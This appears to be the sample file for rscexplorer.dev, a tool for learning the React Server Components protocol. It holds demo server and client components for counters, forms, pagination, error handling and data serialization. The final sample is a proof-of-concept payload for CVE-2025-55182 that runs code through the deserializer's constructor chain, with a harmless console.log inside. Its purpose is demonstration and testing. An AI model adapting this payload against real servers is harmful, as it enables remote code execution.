A tool for people curious about the React Server Components protocol
rscexplorer.dev/
rsc
react
1export interface Sample {
2 name: string;
3 server: string;
4 client: string;
5}
6
7export const SAMPLES: Record<string, Sample> = {
8 hello: {
9 name: "Hello World",
10 server: `export default function App() {
11 return <h1>Hello World</h1>
12}`,
13 client: `'use client'`,
14 },
15 async: {
16 name: "Async Component",
17 server: `import { Suspense } from 'react'
18
19export default function App() {
20 return (
21 <div>
22 <h1>Async Component</h1>
23 <Suspense fallback={<p>Loading...</p>}>
24 <SlowComponent />
25 </Suspense>
26 </div>
27 )
28}
29
30async function SlowComponent() {
31 await new Promise(r => setTimeout(r, 500))
32 return <p>Data loaded!</p>
33}`,
34 client: `'use client'`,
35 },
36 counter: {
37 name: "Counter",
38 server: `import { Counter } from './client'
39
40export default function App() {
41 return (
42 <div>
43 <h1>Counter</h1>
44 <Counter initialCount={0} />
45 </div>
46 )
47}`,
48 client: `'use client'
49
50import { useState } from 'react'
51
52export function Counter({ initialCount }) {
53 const [count, setCount] = useState(initialCount)
54
55 return (
56 <div>
57 <p>Count: {count}</p>
58 <div style={{ display: 'flex', gap: 8 }}>
59 <button onClick={() => setCount(c => c - 1)}>−</button>
60 <button onClick={() => setCount(c => c + 1)}>+</button>
61 </div>
62 </div>
63 )
64}`,
65 },
66 form: {
67 name: "Form Action",
68 server: `import { Form } from './client'
69
70export default function App() {
71 return (
72 <div>
73 <h1>Form Action</h1>
74 <Form greetAction={greet} />
75 </div>
76 )
77}
78
79async function greet(prevState, formData) {
80 'use server'
81 await new Promise(r => setTimeout(r, 500))
82 const name = formData.get('name')
83 if (!name) return { message: null, error: 'Please enter a name' }
84 return { message: \`Hello, \${name}!\`, error: null }
85}`,
86 client: `'use client'
87
88import { useActionState } from 'react'
89
90export function Form({ greetAction }) {
91 const [state, formAction, isPending] = useActionState(greetAction, {
92 message: null,
93 error: null
94 })
95
96 return (
97 <form action={formAction}>
98 <div style={{ display: 'flex', gap: 8 }}>
99 <input
100 name="name"
101 placeholder="Enter your name"
102 style={{ flex: 1, minWidth: 0, padding: '8px 12px', borderRadius: 4, border: '1px solid #ccc' }}
103 />
104 <button disabled={isPending}>
105 {isPending ? 'Sending...' : 'Greet'}
106 </button>
107 </div>
108 {state.error && <p style={{ color: 'red', marginTop: 8 }}>{state.error}</p>}
109 {state.message && <p style={{ color: 'green', marginTop: 8 }}>{state.message}</p>}
110 </form>
111 )
112}`,
113 },
114 refresh: {
115 name: "Router Refresh",
116 server: `import { Suspense } from 'react'
117import { Timer, Router } from './client'
118
119export default function App() {
120 return (
121 <div>
122 <h1>Router Refresh</h1>
123 <p style={{ marginBottom: 12, color: '#666' }}>
124 Client state persists across server navigations
125 </p>
126 <Suspense fallback={<p>Loading...</p>}>
127 <Router initial={renderPage()} refreshAction={renderPage} />
128 </Suspense>
129 </div>
130 )
131}
132
133async function renderPage() {
134 'use server'
135 return <ColorTimer />
136}
137
138async function ColorTimer() {
139 await new Promise(r => setTimeout(r, 300))
140 const hue = Math.floor(Math.random() * 360)
141 return <Timer color={\`hsl(\${hue}, 70%, 85%)\`} />
142}`,
143 client: `'use client'
144
145import { useState, useEffect, useTransition, use } from 'react'
146
147export function Timer({ color }) {
148 const [seconds, setSeconds] = useState(0)
149
150 useEffect(() => {
151 const id = setInterval(() => setSeconds(s => s + 1), 1000)
152 return () => clearInterval(id)
153 }, [])
154
155 return (
156 <div style={{
157 background: color,
158 padding: 24,
159 borderRadius: 8,
160 textAlign: 'center'
161 }}>
162 <p style={{ fontFamily: 'monospace', fontSize: 32, margin: 0 }}>Timer: {seconds}s</p>
163 </div>
164 )
165}
166
167export function Router({ initial, refreshAction }) {
168 const [contentPromise, setContentPromise] = useState(initial)
169 const [isPending, startTransition] = useTransition()
170 const content = use(contentPromise)
171
172 const refresh = () => {
173 startTransition(() => {
174 setContentPromise(refreshAction())
175 })
176 }
177
178 return (
179 <div style={{ opacity: isPending ? 0.7 : 1 }}>
180 <button onClick={refresh} disabled={isPending} style={{ marginBottom: 12 }}>
181 {isPending ? 'Refreshing...' : 'Refresh'}
182 </button>
183 {content}
184 </div>
185 )
186}`,
187 },
188 pagination: {
189 name: "Pagination",
190 server: `import { Suspense } from 'react'
191import { Paginator } from './client'
192
193export default function App() {
194 return (
195 <div>
196 <h1>Pagination</h1>
197 <Suspense fallback={<p style={{ color: '#888' }}>Loading recipes...</p>}>
198 <InitialRecipes />
199 </Suspense>
200 </div>
201 )
202}
203
204async function InitialRecipes() {
205 await new Promise(r => setTimeout(r, 200))
206 const initialItems = recipes.slice(0, 2).map(r => <RecipeCard key={r.id} recipe={r} />)
207 return (
208 <Paginator
209 initialItems={initialItems}
210 initialCursor={2}
211 loadMoreAction={loadMore}
212 />
213 )
214}
215
216async function loadMore(cursor) {
217 'use server'
218 await new Promise(r => setTimeout(r, 300))
219 const newItems = recipes.slice(cursor, cursor + 2)
220 return {
221 newItems: newItems.map(r => <RecipeCard key={r.id} recipe={r} />),
222 cursor: cursor + 2,
223 hasMore: cursor + 2 < recipes.length
224 }
225}
226
227function RecipeCard({ recipe }) {
228 return (
229 <div style={{ padding: 12, marginBottom: 8, background: '#f5f5f5', borderRadius: 6 }}>
230 <strong>{recipe.name}</strong>
231 <p style={{ margin: '4px 0 0', color: '#666', fontSize: 13 }}>
232 {recipe.time} · {recipe.difficulty}
233 </p>
234 </div>
235 )
236}
237
238const recipes = [
239 { id: 1, name: 'Pasta Carbonara', time: '25 min', difficulty: 'Medium' },
240 { id: 2, name: 'Grilled Cheese', time: '10 min', difficulty: 'Easy' },
241 { id: 3, name: 'Chicken Stir Fry', time: '20 min', difficulty: 'Easy' },
242 { id: 4, name: 'Beef Tacos', time: '30 min', difficulty: 'Medium' },
243 { id: 5, name: 'Caesar Salad', time: '15 min', difficulty: 'Easy' },
244 { id: 6, name: 'Mushroom Risotto', time: '45 min', difficulty: 'Hard' },
245]`,
246 client: `'use client'
247
248import { useState, useTransition } from 'react'
249
250export function Paginator({ initialItems, initialCursor, loadMoreAction }) {
251 const state = usePagination(initialItems, initialCursor, loadMoreAction)
252
253 return (
254 <form action={state.formAction}>
255 {state.items}
256 {state.hasMore && (
257 <button disabled={state.isPending}>
258 {state.isPending ? 'Loading...' : 'Load More'}
259 </button>
260 )}
261 </form>
262 )
263}
264
265function usePagination(initialItems, initialCursor, action) {
266 const [items, setItems] = useState(initialItems)
267 const [cursor, setCursor] = useState(initialCursor)
268 const [hasMore, setHasMore] = useState(true)
269 const [isPending, startTransition] = useTransition()
270
271 const formAction = () => {
272 startTransition(async () => {
273 const result = await action(cursor)
274 startTransition(() => {
275 setItems(prev => [...prev, ...result.newItems])
276 setCursor(result.cursor)
277 setHasMore(result.hasMore)
278 })
279 })
280 }
281
282 return { items, hasMore, formAction, isPending }
283}`,
284 },
285 errors: {
286 name: "Error Handling",
287 server: `import { Suspense } from 'react'
288import { ErrorBoundary } from './client'
289
290export default function App() {
291 return (
292 <div>
293 <h1>Error Handling</h1>
294 <ErrorBoundary fallback={<FailedToLoad />}>
295 <Suspense fallback={<p>Loading user...</p>}>
296 <UserProfile id={123} />
297 </Suspense>
298 </ErrorBoundary>
299 </div>
300 )
301}
302
303async function UserProfile({ id }) {
304 const user = await fetchUser(id)
305 return (
306 <div style={{ padding: 16, background: '#f0f0f0', borderRadius: 8 }}>
307 <strong>{user.name}</strong>
308 </div>
309 )
310}
311
312function FailedToLoad() {
313 return (
314 <div style={{ padding: 16, background: '#fee', borderRadius: 8, color: '#c00' }}>
315 <strong>Failed to load user</strong>
316 <p style={{ margin: '4px 0 0' }}>Please try again later.</p>
317 </div>
318 )
319}
320
321async function fetchUser(id) {
322 await new Promise(r => setTimeout(r, 300))
323 throw new Error('Network error')
324}`,
325 client: `'use client'
326
327import { Component } from 'react'
328
329export class ErrorBoundary extends Component {
330 state = { error: null }
331
332 static getDerivedStateFromError(error) {
333 return { error }
334 }
335
336 render() {
337 if (this.state.error) {
338 return this.props.fallback
339 }
340 return this.props.children
341 }
342}`,
343 },
344 clientref: {
345 name: "Client Reference",
346 server: `// Server can pass client module exports as props
347import { darkTheme, lightTheme, ThemedBox } from './client'
348
349export default function App() {
350 // Server references client-side config objects
351 // They serialize as module references, resolved on client
352 return (
353 <div>
354 <h1>Client Reference</h1>
355 <div style={{ display: 'flex', gap: 12 }}>
356 <ThemedBox theme={darkTheme} label="Dark" />
357 <ThemedBox theme={lightTheme} label="Light" />
358 </div>
359 </div>
360 )
361}`,
362 client: `'use client'
363
364export const darkTheme = { background: '#1a1a1a', color: '#fff' }
365export const lightTheme = { background: '#f5f5f5', color: '#000' }
366
367export function ThemedBox({ theme, label }) {
368 return (
369 <div style={{ ...theme, padding: 16, borderRadius: 8 }}>
370 {label} theme
371 </div>
372 )
373}`,
374 },
375 bound: {
376 name: "Bound Actions",
377 server: `// action.bind() pre-binds arguments on the server
378import { Greeter } from './client'
379
380export default function App() {
381 return (
382 <div>
383 <h1>Bound Actions</h1>
384 <p style={{ color: '#888', marginBottom: 16 }}>
385 Same action, different bound greetings:
386 </p>
387 <Greeter action={greet.bind(null, 'Hello')} />
388 <Greeter action={greet.bind(null, 'Howdy')} />
389 <Greeter action={greet.bind(null, 'Hey')} />
390 </div>
391 )
392}
393
394async function greet(greeting, name) {
395 'use server'
396 return \`\${greeting}, \${name}!\`
397}`,
398 client: `'use client'
399
400import { useState } from 'react'
401
402export function Greeter({ action }) {
403 const [result, setResult] = useState(null)
404
405 async function handleSubmit(formData) {
406 // greeting is pre-bound, we only pass name
407 const message = await action(formData.get('name'))
408 setResult(message)
409 }
410
411 return (
412 <form action={handleSubmit} style={{ display: 'flex', gap: 8, alignItems: 'center', marginBottom: 8 }}>
413 <input name="name" placeholder="Your name" required style={{ flex: 1, maxWidth: 120, minWidth: 0, padding: '4px 8px' }} />
414 <button>Greet</button>
415 {result && <span>{result}</span>}
416 </form>
417 )
418}`,
419 },
420 binary: {
421 name: "Binary Data",
422 server: `import { BinaryDisplay } from './client'
423
424export default function App() {
425 const buffer = new ArrayBuffer(4)
426 new Uint8Array(buffer).set([0xCA, 0xFE, 0xBA, 0xBE])
427
428 return (
429 <div>
430 <h1>Binary Data</h1>
431 <BinaryDisplay
432 arrayBuffer={buffer}
433 int8={new Int8Array([0x7F, -1, -128])}
434 uint8={new Uint8Array([0xDE, 0xAD, 0xBE, 0xEF])}
435 uint8Clamped={new Uint8ClampedArray([0, 128, 255])}
436 int16={new Int16Array([0x7FFF, -1])}
437 uint16={new Uint16Array([0xFFFF, 0x1234])}
438 int32={new Int32Array([0x12345678, -1])}
439 uint32={new Uint32Array([0xDEADBEEF])}
440 float32={new Float32Array([Math.PI])}
441 float64={new Float64Array([Math.PI])}
442 bigInt64={new BigInt64Array([0x123456789ABCDEFn, -1n])}
443 bigUint64={new BigUint64Array([0xFEDCBA9876543210n])}
444 dataView={new DataView(buffer)}
445 />
446 </div>
447 )
448}`,
449 client: `'use client'
450
451function formatBytes(arr) {
452 return Array.from(new Uint8Array(arr.buffer || arr)).map(b => '0x' + b.toString(16).padStart(2, '0')).join(', ')
453}
454
455export function BinaryDisplay(props) {
456 return (
457 <div style={{ fontSize: 12, fontFamily: 'monospace' }}>
458 <div>ArrayBuffer: [{formatBytes(props.arrayBuffer)}]</div>
459 <div>Int8Array: [{props.int8.join(', ')}]</div>
460 <div>Uint8Array: [{formatBytes(props.uint8)}]</div>
461 <div>Uint8ClampedArray: [{props.uint8Clamped.join(', ')}]</div>
462 <div>Int16Array: [{props.int16.join(', ')}]</div>
463 <div>Uint16Array: [{props.uint16.join(', ')}]</div>
464 <div>Int32Array: [{props.int32.map(n => '0x' + (n >>> 0).toString(16)).join(', ')}]</div>
465 <div>Uint32Array: [{props.uint32.map(n => '0x' + n.toString(16)).join(', ')}]</div>
466 <div>Float32Array: [{props.float32.join(', ')}]</div>
467 <div>Float64Array: [{props.float64.join(', ')}]</div>
468 <div>BigInt64Array: [{props.bigInt64.map(n => n.toString()).join(', ')}]</div>
469 <div>BigUint64Array: [{props.bigUint64.map(n => '0x' + n.toString(16)).join(', ')}]</div>
470 <div>DataView: [{formatBytes(props.dataView)}]</div>
471 </div>
472 )
473}`,
474 },
475 kitchensink: {
476 name: "Kitchen Sink",
477 server: `import { Suspense } from 'react'
478import { DataDisplay } from './client'
479
480export default function App() {
481 return (
482 <div>
483 <h1>Kitchen Sink</h1>
484 <Suspense fallback={<p>Loading...</p>}>
485 <AllTypes />
486 </Suspense>
487 </div>
488 )
489}
490
491async function AllTypes() {
492 await new Promise(r => setTimeout(r, 100))
493
494 const data = {
495 // Primitives
496 primitives: {
497 null: null,
498 undefined: undefined,
499 true: true,
500 false: false,
501 int: 42,
502 float: 3.14159,
503 string: "hello world",
504 empty: "",
505 dollar: "$special",
506 unicode: "Hello 世界 🌍",
507 },
508
509 // Special numbers
510 special: {
511 negZero: -0,
512 inf: Infinity,
513 negInf: -Infinity,
514 nan: NaN,
515 },
516
517 // Special types
518 types: {
519 date: new Date("2024-01-15T12:00:00.000Z"),
520 bigint: BigInt("12345678901234567890"),
521 symbol: Symbol.for("mySymbol"),
522 },
523
524 // Binary / TypedArrays
525 binary: {
526 uint8: new Uint8Array([1, 2, 3, 4, 5]),
527 int32: new Int32Array([-1, 0, 2147483647]),
528 float64: new Float64Array([3.14159, 2.71828]),
529 },
530
531 // Collections
532 collections: {
533 map: new Map([["a", 1], ["b", { nested: true }]]),
534 set: new Set([1, 2, "three"]),
535 formData: createFormData(),
536 blob: new Blob(["hello"], { type: "text/plain" }),
537 },
538
539 // Arrays
540 arrays: {
541 simple: [1, 2, 3],
542 sparse: createSparse(),
543 nested: [[1], [2, [3]]],
544 },
545
546 // Objects
547 objects: {
548 simple: { a: 1 },
549 nested: { x: { y: { z: "deep" } } },
550 },
551
552 // React elements
553 elements: {
554 div: <div className="test">Hello</div>,
555 fragment: <><span>a</span><span>b</span></>,
556 suspense: <Suspense fallback="..."><p>content</p></Suspense>,
557 },
558
559 // Promises
560 promises: {
561 resolved: Promise.resolve("immediate"),
562 delayed: new Promise(r => setTimeout(() => r("delayed"), 100)),
563 },
564
565 // Iterators
566 iterators: {
567 sync: [1, 2, 3][Symbol.iterator](),
568 },
569
570 // References
571 refs: createRefs(),
572
573 // Server action
574 action: serverAction,
575 }
576
577 return <DataDisplay data={data} />
578}
579
580function createFormData() {
581 const fd = new FormData()
582 fd.append("key", "value")
583 return fd
584}
585
586function createSparse() {
587 const a = [1]; a[3] = 4; return a
588}
589
590function createRefs() {
591 const shared = { id: 1 }
592 const cyclic = { name: "cyclic" }
593 cyclic.self = cyclic
594 return { dup: { a: shared, b: shared }, cyclic }
595}
596
597async function serverAction(x) {
598 'use server'
599 return { got: x }
600}`,
601 client: `'use client'
602
603export function DataDisplay({ data }) {
604 return (
605 <div style={{ fontSize: 12 }}>
606 {Object.entries(data).map(([section, values]) => (
607 <div key={section} style={{ marginBottom: 16 }}>
608 <strong>{section}</strong>
609 <div style={{ marginLeft: 12 }}>
610 {typeof values === 'function' ? (
611 <div><button onClick={() => values('test')}>Call {values.name || 'action'}</button></div>
612 ) : typeof values === 'object' && values !== null ? (
613 Object.entries(values).map(([k, v]) => (
614 <div key={k}>{k}: {renderValue(v)}</div>
615 ))
616 ) : (
617 <span>{renderValue(values)}</span>
618 )}
619 </div>
620 </div>
621 ))}
622 </div>
623 )
624}
625
626function renderValue(v) {
627 if (v === null) return 'null'
628 if (v === undefined) return 'undefined'
629 if (typeof v === 'symbol') return v.toString()
630 if (typeof v === 'bigint') return v.toString() + 'n'
631 if (typeof v === 'function') return '[Function]'
632 if (v instanceof Date) return v.toISOString()
633 if (v instanceof Map) return 'Map(' + v.size + ')'
634 if (v instanceof Set) return 'Set(' + v.size + ')'
635 if (v instanceof FormData) return 'FormData'
636 if (v instanceof Blob) return 'Blob(' + v.size + ')'
637 if (v instanceof ArrayBuffer) return 'ArrayBuffer(' + v.byteLength + ')'
638 if (ArrayBuffer.isView(v)) return v.constructor.name + '(' + v.length + ')'
639 if (Array.isArray(v)) return '[' + v.length + ' items]'
640 if (typeof v === 'object') return '{...}'
641 return String(v)
642}`,
643 },
644 cve: {
645 name: "CVE-2025-55182",
646 server: `import { Instructions } from './client'
647
648async function poc() {
649 'use server'
650}
651
652export default function App() {
653 return (
654 <div>
655 <h1>CVE-2025-55182</h1>
656 <Instructions />
657 </div>
658 )
659}`,
660 client: `'use client'
661
662import { useState } from 'react'
663
664const PAYLOAD = \`0="$1"&1={"status":"resolved_model","reason":0,"_response":"$5","value":"{\\\\"then\\\\":\\\\"$4:map\\\\",\\\\"0\\\\":{\\\\"then\\\\":\\\\"$B3\\\\"},\\\\"length\\\\":1}","then":"$2:then"}&2="$@3"&3=""&4=[]&5={"_prefix":"console.log('😼 meow meow from', self.constructor.name)//","_formData":{"get":"$4:constructor:constructor"},"_chunks":"$2:_response:_chunks","_bundlerConfig":{}}\`
665
666export function Instructions() {
667 const [copied, setCopied] = useState(false)
668
669 const handleCopy = () => {
670 navigator.clipboard.writeText(PAYLOAD)
671 setCopied(true)
672 setTimeout(() => setCopied(false), 2000)
673 }
674
675 return (
676 <div>
677 <ol style={{ paddingLeft: 20, marginBottom: 16 }}>
678 <li>Use the + button in above pane to add a raw action</li>
679 <li>Select the <code>poc</code> action</li>
680 <li>Copy the payload below and paste it</li>
681 <li>Open your browser's console</li>
682 <li>If this version of React is vulnerable, you'll see a log from the worker (which simulates the server)</li>
683 </ol>
684 <div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: 4 }}>
685 <label style={{ fontSize: 12, color: '#666' }}>Payload:</label>
686 <button onClick={handleCopy} style={{ fontSize: 12, padding: '2px 8px' }}>
687 {copied ? 'Copied!' : 'Copy'}
688 </button>
689 </div>
690 <textarea
691 readOnly
692 value={PAYLOAD}
693 style={{
694 width: '100%',
695 height: 80,
696 fontFamily: 'monospace',
697 fontSize: 11,
698 padding: 8,
699 border: '1px solid #ccc',
700 borderRadius: 4,
701 resize: 'vertical',
702 background: '#f5f5f5'
703 }}
704 onClick={e => e.target.select()}
705 />
706 </div>
707 )
708}`,
709 },
710};